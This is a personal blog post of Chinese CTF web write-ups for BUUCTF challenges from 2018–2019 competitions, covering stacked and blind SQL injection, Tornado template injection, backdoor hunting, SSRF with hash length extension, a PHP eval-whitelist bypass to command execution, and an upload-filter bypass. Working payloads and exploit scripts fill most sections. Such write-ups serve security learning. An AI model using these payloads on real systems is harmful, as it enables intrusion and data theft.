Notes of Laurel | 大雨将至

BUUCTF-WEB

Word count: 4.2kReading time: 19 min
2019/10/20 Share

知乎上有个问题:“如何忘记一个人?”

有个人回答:“两千多个答案,没一个有用。”


随便注

2019 强网杯

解法一:堆叠注入

1
/?inject=233';show tables;#

可以看到有两个表~

1567737495728

先介绍一下prepare语法:
PREPARE test from ‘我们的sql语句’;//预定义好sql
EXECUTE test (如果sql有参数的话, USING xxx,xxx); // (这里USING的只能是会话变量)执行预定义的sql
DEALLOCATE PREPARE test;//释放数据库连接

所以可以构造如下:

1
2
3
?inject=233';set @sql=select * from `1919810931114514`;
prepare pay from @sql;
execute pay;

页面返回内容为:

1
return preg_match("/select|update|delete|drop|insert|where|\./i",$inject);

使用正则匹配过滤了以上关键字,并且大小写绕过是不行滴。那我们可以改成这样:

1
2
3
?inject=233';set @sql=concat('se','lect * from `1919810931114514`');
prepare pay from @sql;
execute pay;

concat()函数介绍:
用于将多个字符串连接成一个字符串。
mysql CONCAT(str1,str2,…)
返回结果为连接参数产生的字符串。如有任何一个参数为NULL ,则返回值为 NULL。

页面返回内容为:

1
strstr($inject, "set") && strstr($inject, "prepare")

strstr()函数介绍:
用于查找字符串的首次出现
语法:strstr ( string `$haystack` , mixed `$needle` [, bool `$before_needle` = FALSE ] ) : string
返回 haystack 字符串从 needle 第一次出现的位置开始到 haystack 结尾的字符串。

该函数区分大小写。如果想要不区分大小写,请使用 stristr()

区分大小写的意思是如果是小写的就不能判断出大写的。。。
该函数不能区分大小写,所以我们大写即可。
它不能区分大小写,所以使用它的时候是区分大小写的。。。
所以也就是:该函数区分大小写=该函数不能区分大小写。嗯很有道理。!

所以对于这个检测,可以直接通过大写绕过:

1
2
3
?inject=233';sEt @sql=concat('se','lect * from `1919810931114514`');
prEpare pay from @sql;
execute pay;

然后就能看到flag~

1567736159943

此外,还能采用hex编码的形式,在python2中~

1567736240567

利用其构造的payload为:

1
2
3
?inject=233';sEt @sql=0x73656c656374202a2066726f6d20603139313938313039333131313435313460;
prEpare pay from @sql;
execute pay;

解法二:

参考赵师傅的博客:https://www.zhaoj.in/read-5873.html

1
/?inject=233';show columns from `1919810931114514`;#

1567736840935

1
/?inject=233';show columns from words;#

1567736893848

接下来不太懂,咋就看粗来words表是默认查询的表了鸭…

把191那个表改名为words,把flag列改为id列:

1
2
3
4
/?inject=233';RENAME TABLE `words` TO `words1`;
RENAME TABLE `1919810931114514` TO `words`;
ALTER TABLE `words` CHANGE `flag` `id` VARCHAR(100) CHARACTER SET utf8 COLLATE utf8_general_ci NOT NULL;
show columns from words;#

1567738654654

再访问:

1
/?inject=233' or '1'='1

1567738677680

太神奇了叭…


easy_tornado

2018 护网杯

oj上的题做了一点点小改动鸭,三个文件内容如下:

1
2
3
4
5
6
7
8
/flag.txt
flag in /fllllllllllllag

/welcome.txt
render

/hints.txt
md5(cookie_secret+md5(filename))

读取文件需要两个参数filename和filehash。其中,filehash=md5(cookie_secret+md5(filename)),但是headers里面并没有cookie值。那就只能谷歌一下tornado render什么的了。解法是在报错页面里模板注入。

通过读取error?msg=可以得到:

1
{'autoreload': True, 'compiled_template_cache': False, 'cookie_secret': 'da53eb64-a805-4d4e-bdc2-fda1e66c587e'}

这样cookie_secret就知道了,然后就是计算filehash了,下面提供两种脚本~

PHP代码:

1
2
3
4
5
6
7
<?php
$str = "/fllllllllllllag";
$a=md5($str);
$str2 = "da53eb64-a805-4d4e-bdc2-fda1e66c587e";
$str3=$str2.$a;
echo md5($str3);
?>

python代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
import hashlib

def md5(s):
md5 = hashlib.md5()
md5.update(s)
return md5.hexdigest()

def sol():
filename = '/fllllllllllllag'
a ="da53eb64-a805-4d4e-bdc2-fda1e66c587e"
print(md5(a+md5(filename)))

sol()

跑出来的hash值为 - -

1567757429756

利用其访问就行了鸭~

1
file?filename=/fllllllllllllag&filehash=75b7a43f3540e10cd317045514812aba

高明的黑阔

2019 强网杯

参考wp:https://mochazz.github.io/2019/05/27/2019强网杯Web部分题解/#高明的黑客

这道题有点猛…

1567768512837

根据提示下载源码,给了一大堆混乱的文件,需要从这些文件中找能用的shell…

写脚本批量扫描一下类似eval($_GET[x])system($_GET[x])等shell。

先进入该文件目录,使用PHP7.0以上版本开个端口,作为本地服务器:

1
php7.3 -S 0.0.0.0:8888

1567769481174

话说这里,
-S 127.0.0.0:8000可以正常访问,
-S localhost:8000就不能访问,
什么鬼…

访问localhost:8888,能够看到页面显示正常,就开始跑脚本 - -

1567769555902

直接借用了这个nb师傅的脚本(tqltqltql~):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
import os,re
import requests
filenames = os.listdir('/var/www/html/src')
pattern = re.compile(r"\$_[GEPOST]{3,4}\[.*\]")
for name in filenames:
print(name)
with open('/var/www/html/src/'+name,'r') as f:
data = f.read()
result = list(set(pattern.findall(data)))

for ret in result:
try:
command = 'uname'
flag = 'Linux'
if 'GET' in ret:
passwd = re.findall(r"'(.*)'",ret)[0]
r = requests.get(url='http://127.0.0.1:8888/' + name + '?' + passwd + '='+ command)
if flag in r.text:
print('backdoor file is: ' + name)
print('GET: ' + passwd)
elif 'POST' in ret:
passwd = re.findall(r"'(.*)'",ret)[0]
r = requests.post(url='http://127.0.0.1:8888/' + name,data={passwd:command})
if flag in r.text:
print('backdoor file is: ' + name)
print('POST: ' + passwd)
except : pass

确实跑了很久,大概在中间位置能看到成功的shell - -

1567769831998

然后利用这个shell,去cat flag叭~

1567769890029


Hack World

CISCN2019 华北赛区

参考wp:
http://www.n0puple.com/index.php/archives/53/#cl-6
https://southseast.cc/2019/07/19/2019-CISCN-Northern/

1567938005681

POST方式提交id值,随便尝试一下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
id=1
Hello, glzjin wants a girlfriend.

id=2
Do you want to be my girlfriend?

id=0 or id=3++
Error Occured When Fetch Result.

id=1'
bool(false)

id=1' (此处有个空格)
SQL Injection Checked.

通过各种尝试,大概过滤了空格,#,-,+,and,or,&,|

可以用异或注入绕过:

记性不好,忘了异或咋算的了…同为0,异为1:

1^1=0^0=0 1^0=0^1=1

1^0^1=0 1^1^1=1

为了使id=1,可以直接和0异或,只要异或那部分为1就行了鸭。

师傅们的思路是利用了substr函数进行比较,当返回为1时就说明判断正确,从而一位一位地得到flag的值。

substr函数介绍:

返回字符串的一部分。

substr(string,start,length)

flag肯定是f开头的,这是判断条件。空格被过滤了,可以用%0a或者()代替,比如以下两个paylaod both 🆗:

1
2
1^(substr((select%0aflag%0afrom%0aflag),1,1)>'e')^1
0^(substr((select(flag)from(flag)),1,1)>'e')

我先试了一下:

1
2
3
4
5
6
7
8
0^(substr((select(flag)from(flag)),0,1)='f')
Error Occured When Fetch Result.

0^(substr((select(flag)from(flag)),1,1)='f')
Hello, glzjin wants a girlfriend.

0^(substr((select(flag)from(flag)),0,1)='')
Hello, glzjin wants a girlfriend.

说明后面两个注入成功了,讲道理为啥是从1开始,不是0才表示第一个字符串开始的吗…没学过PHP的窝一脸懵逼…

但是还有一点需要注意,flag里面可能是有-号的(实际上也确实有)。但是-号被过滤了,我们可以选择将其转换成ascii码进行输入。

1
2
0^(ascii(substr((select(flag)from(flag)),1,1))='102')
Hello, glzjin wants a girlfriend.

话说,感觉在python2中,数字永远比字符串小,不知道这句话对不对…

>>>9999999999999999<’a’
True

>>>‘9999999999999999’<’a’
True

然后就开始上脚本跑叭:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
import requests

url = "http://f6c08544-9822-459f-94e1-2028af27b3b2.node1.buuoj.cn/index.php"
s = requests.session()
i = 1
flag = ''
while 1:
status = 1
for x in 'abcdefghijklmnopqrstuvwxyz0123456789{}-':
payload = "0^(ascii(substr((select(flag)from(flag)),{0},1))={1})".format(str(i),str(ord(x)))
data = {
'id': payload
}
html = s.post(url,data=data).text
if "Hello, glzjin wants a girlfriend." in html:
flag += x
status = 1
print(flag)
break
else:
status = 0
if status == 0:
print("flag is above!~")
i+=1

大概跑个两分钟左右就有flag啦~


ssrf me

De1ta 2019

参考wp:
https://ctftime.org/writeup/16070

官方wp:
https://github.com/De1ta-team/De1CTF2019/tree/master/writeup/web/SSRF%20Me

题目给了接口的Flask应用程序的源代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
#! /usr/bin/env python 
#encoding=utf-8
from flask import Flask
from flask import request
import socket
import hashlib
import urllib
import sys
import os
import json

reload(sys)
sys.setdefaultencoding('latin1')
app = Flask(__name__) secert_key = os.urandom(16)

class Task:
def __init__(self, action, param, sign, ip):
self.action = action
self.param = param
self.sign = sign
self.sandbox = md5(ip)
if(not os.path.exists(self.sandbox)):
#SandBox For Remote_Addr
os.mkdir(self.sandbox)

def Exec(self):
result = {}
result['code'] = 500
if (self.checkSign()):
if "scan" in self.action:
tmpfile = open("./%s/result.txt" % self.sandbox, 'w')
resp = scan(self.param)
if (resp == "Connection Timeout"):
result['data'] = resp
else:
print resp
tmpfile.write(resp)
tmpfile.close() result['code'] = 200
if "read" in self.action:
f = open("./%s/result.txt" % self.sandbox, 'r')
result['code'] = 200
result['data'] = f.read()
if result['code'] == 500:
result['data'] = "Action Error"
else:
result['code'] = 500
result['msg'] = "Sign Error"
return result
def checkSign(self):
if (getSign(self.action, self.param) == self.sign):
return True
else:
return False

#generate Sign For Action Scan.
@app.route("/geneSign", methods=['GET', 'POST'])
def geneSign():
param = urllib.unquote(request.args.get("param", ""))
action = "scan"
return getSign(action, param)

@app.route('/De1ta',methods=['GET','POST'])
def challenge():
action = urllib.unquote(request.cookies.get("action"))
param = urllib.unquote(request.args.get("param", ""))
sign = urllib.unquote(request.cookies.get("sign"))
ip = request.remote_addr
if(waf(param)):
return "No Hacker!!!!"
task = Task(action, param, sign, ip)
return json.dumps(task.Exec())

@app.route('/')
def index():
return open("code.txt","r").read()

def scan(param):
socket.setdefaulttimeout(1)
try:
return urllib.urlopen(param).read()[:50]
except:
return "Connection Timeout"

def getSign(action, param):
return hashlib.md5(secert_key + param + action).hexdigest()

def md5(content):
return hashlib.md5(content).hexdigest()

def waf(param):
check=param.strip().lower()
if check.startswith("gopher") or check.startswith("file"):
return True
else: return False

if __name__ == '__main__':
app.debug = False
app.run(host='0.0.0.0',port=80)

解法一(非预期解):

内容大概是利用flask写了一个task类和以下三个路由:

1
2
3
4
5
6
7
8
9
10
11
/geneSign
return getSign(action, param)
生成签名。

/De1ta
执行challenge()函数,
利用cookies和GET方式提交的参数中的action,param,sign构造一个新的Task对象,
然后调用Exec()方法,返回json结果。

/
获取源码。

分析一下Exec()函数:

1
2
Exec(self)
首先调用了checkSign()函数,检查sign的值是否和getSign()运算结果一致。

而在checkSign()函数中,调用了getSign()函数:

1
2
getSign(action, param)
将secret_key,param和action拼接然后md5

必须要通过过getSign()的检查才能继续执行Exec()函数。在getSign()函数中,是将secret_key + param + action三个参数拼接之后进行md5计算。其中,secret_key是App产生的随机值,我们是不可能知道的。那还有哪儿可以产生sign呢?geneSign()函数:

1
2
3
4
def geneSign(): 
param = urllib.unquote(request.args.get("param", ""))
action = "scan"
return getSign(action, param)

通过向/geneSign发送请求,会生成一个sign值,不过它只允许我们传递一个param值,并且acion的值被设置为了"scan"

有了一个有效的sign值,就能通过检查,Exec()继续执行。

1
2
检查action中是否有scan,如果有则将scan读到的内容写入沙盒中的文件。
检查action中是否有read,如果有则将刚才写入的文件读出。

来看一看scan函数:

1
2
3
4
5
6
def scan(param): 
socket.setdefaulttimeout(1)
try:
return urllib.urlopen(param).read()[:50]
except:
return "Connection Timeout"

它调用了我们的param,使用urllib.urlopen()执行请求。

如果想要读取本地文件,我们一般会用"file://"协议,但是在/De1ta路由中,调用了waf(param)进行检查,waf()函数内容为:

1
2
3
4
5
def waf(param): 
check=param.strip().lower()
if check.startswith("gopher") or check.startswith("file"):
return True
else: return False

它检查param是否是以gopher或者file开头,如果是,在challenge()函数中就会直接返回"No Hacker!!!!"

题目有给一个hint:

flag is in ./flag.txt

如果要读取这个flag.txt文件,就必须要有一个有效的sign并且action中包含有"read"。默认情况下,getSign生成的是action="scan"的签名。如果我们能够伪造一个"readscan"action,那就可以成功地读取文件了。

geneSign()函数会调用getSign(),将三个参数拼接之后,再进行md5哈希计算,所以我们可以传递"flag.txtread"param,因为:

1
2
param = "flag.txtread"
action = "scan"
1
2
param = "flag.txt"
action = "readscan"

以上两种情况,会生成相同的哈希值。

上脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
import requests

def geneSign(param):
return requests.get("http://127.0.0.1:8083/geneSign?param="+param).text

Param = "flag.txt"
param = Param+"read"
sign = geneSign(param)
param = Param
action = "readscan"
flag = requests.get("http://127.0.0.1:8083/De1ta?param="+param, cookies={"action":action,"sign":sign}).text

print(flag)

复现环境下的flag实在是太真实了叭…

20190908201424


解法二(预期解):哈希长度扩展攻击

原理官方文档都有,就不赘述了。可以利用hashpump - -

20190908201008

然后在请求头中添加Cookie值 - -

20190908200909

也可以直接上脚本,这里直接搬赵师傅的了☺(python2):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
import hashpumpy
import requests
import urllib

url = 'flag.txt'
# url = 'local-file:/etc/passwd'
r = requests.get('http://127.0.0.1:8083/geneSign', params={'param': url})
sign = r.text
hash_sign = hashpumpy.hashpump(sign, url + 'scan', 'read', 16)

r = requests.get('http://127.0.0.1:8083/De1ta', params={'param': url}, cookies={
'sign': hash_sign[0],
'action': urllib.quote(hash_sign[1][len(url):])
})

love math

CISCN 2019

index.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
<?php
error_reporting(0);
//听说你很喜欢数学,不知道你是否爱它胜过爱flag
if(!isset($_GET['c'])){
show_source(__FILE__);
}else{
//例子 c=20-1
$content = $_GET['c'];
if (strlen($content) >= 80) {
die("太长了不会算");
}
$blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]'];
foreach ($blacklist as $blackitem) {
if (preg_match('/' . $blackitem . '/m', $content)) {
die("请不要输入奇奇怪怪的字符");
}
}
//常用数学函数http://www.w3school.com.cn/php/php_ref_math.asp
$whitelist = ['abs', 'acos', 'acosh', 'asin', 'asinh', 'atan2', 'atan', 'atanh', 'base_convert', 'bindec', 'ceil', 'cos', 'cosh', 'decbin', 'dechex', 'decoct', 'deg2rad', 'exp', 'expm1', 'floor', 'fmod', 'getrandmax', 'hexdec', 'hypot', 'is_finite', 'is_infinite', 'is_nan', 'lcg_value', 'log10', 'log1p', 'log', 'max', 'min', 'mt_getrandmax', 'mt_rand', 'mt_srand', 'octdec', 'pi', 'pow', 'rad2deg', 'rand', 'round', 'sin', 'sinh', 'sqrt', 'srand', 'tan', 'tanh'];
preg_match_all('/[a-zA-Z_\x7f-\xff][a-zA-Z_0-9\x7f-\xff]*/', $content, $used_funcs);
foreach ($used_funcs[0] as $func) {
if (!in_array($func, $whitelist)) {
die("请不要输入奇奇怪怪的函数");
}
}
//帮你算出答案
eval('echo '.$content.';');
}

c的长度需要小于80,过滤了空格、制表符、换行、单引号、双引号、反引号、左右方括号。输入的字符串只能是$whitelist中的函数。要想办法从函数返回结果中获取任意字符串。

base_convert函数可以返回任意字符,但它无法返回特殊字符:

1
2
3
4
5
php > echo base_convert('phpinfo()',36,10)
php > ;
55490343972
php > echo base_convert(55490343972,10,36);
phpinfo

老是忘记打分号…

那就先尝试一下c=base_convert(55490343972,10,36)()

能够成功执行,再试一下system(‘ls’)

1
c=base_convert(1751504350,10,36)(base_convert(784,10,36))

可以看到返回了index.php,但是并没有flag.php。看一下根目录:(复现的环境下,flag的位置是/flag

1
2
3
4
5
($pi=base_convert)(1751504350,10,36)($pi(1438255411,14,34)(dechex(1819484207)))

system('ls /')

bin boot dev etc flag home lib lib64 media mnt opt proc root run sbin srv sys tmp usr var var

找到了flag的位置,现在尝试读取其中的内容。

方法一是利用php函数readfile()读取文件

原题是flag.php文件,所以需要异或出.,这里的话就可以省掉了。

为了尽可能减小payload长度,可以给base_convert取一个别名,在白名单里面,最短的就是pi了。

1
2
3
($pi=base_convert)(2146934604002,10,36)($pi(1438255411,14,34)(dechex(203581841767)))

readfile(/flag)

但是这个payload长度超了。

方法二是利用系统命令执行读取文件的命令。

这里可以使用白名单中的函数dechex(),括号中写命令的十进制格式,而这个函数能将其转换成命令的十六进制格式,然后再利用base_convert构造出hex2bin函数将其转换回命令的ASCII字符。

所以可以构造payload为:

1
2
3
($pi=base_convert)(1751504350,10,36)($pi(1438255411,14,34)(dechex(109270211243818)))

system(hex2bin(dechex(109270211243818))) -> system('cat /*')

但是长度还是超了。

换成exec命令试试。

1
2
($pi=base_convert)(22950,23,34)($pi(1438255411,14,34)(dechex(109270211243818)))
exec('cat /*')

嗯可以成功getflag。

此外,nl命令也可以读取文件。

1
2
3
($pi=base_convert)(22950,23,34)($pi(1438255411,14,34)(dechex(474260451114)))
($pi=base_convert)(696468,10,36)($pi(1438255411,14,34)(dechex(474260451114)))
exec(nl /*)

方法三是异或出_GET

1
2
n^1=_ v^1=G t^1=E e^1=T
'nvte'^'1111'->_GET

所以构造出:

1
$pi=base_convert;$pi=$pi(1114322,10,36)^$pi(47989,10,36);${$pi}{0}(${$pi}{1})

payload就是:

1
0=system&1=cat /flag&c=$pi=base_convert;$pi=$pi(1114322,10,36)^$pi(47989,10,36);${$pi}{0}(${$pi}{1})

OK


simple_upload

RoarCTF 2019

参考链接:https://www.fuzzer.xyz/2019/10/14/RoarCTF2019%20web%20writeup/

index.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
<?php
namespace Home\Controller;

use Think\Controller;

class IndexController extends Controller
{
public function index()
{
show_source(__FILE__);
}
public function upload()
{
$uploadFile = $_FILES['file'] ;

if (strstr(strtolower($uploadFile['name']), ".php") ) {
return false;
}

$upload = new \Think\Upload();// 实例化上传类
$upload->maxSize = 4096 ;// 设置附件上传大小
$upload->allowExts = array('jpg', 'gif', 'png', 'jpeg');// 设置附件上传类型
$upload->rootPath = './Public/Uploads/';// 设置附件上传目录
$upload->savePath = '';// 设置附件上传子目录
$info = $upload->upload() ;
if(!$info) {// 上传错误提示错误信息
$this->error($upload->getError());
return;
}else{// 上传成功 获取上传文件信息
$url = __ROOT__.substr($upload->rootPath,1).$info['file']['savepath'].$info['file']['savename'] ;
echo json_encode(array("url"=>$url,"success"=>1));
}
}
}

这是一个ThinkPHP框架,搜了一下,大概是根据3写的。可以知道文件上传目录是在:

1
/index.php/Home/Index/upload

进入后是直接一个跳转,那就burp抓包然后改为POST文件。

原配置文件中有一句:

1
$file['name'] = strip_tags($file['name']);

1571656107076

该函数会去除文件名中的HTML标签,所以可以用.<br>php之类的绕过检测,上传成功后,访问该目录就是flag。

2019-10-20

此外,在配置中可以看到文件名是使用uniqid()函数根据时间生成的 - -

1571654326292

所以如果文件上传时间相近就可以爆破出我们跟着上传的.php文件的存放路径。师傅的博客上放了脚本。


在人海相遇的人,迟早要归还人海。


CATALOG
  1. 1. 随便注
    1. 1.1. 解法一:堆叠注入
    2. 1.2. 解法二:
  2. 2. easy_tornado
  3. 3. 高明的黑阔
  4. 4. Hack World
  5. 5. ssrf me
    1. 5.1. 解法一(非预期解):
    2. 5.2. 解法二(预期解):哈希长度扩展攻击
  6. 6. love math
  7. 7. simple_upload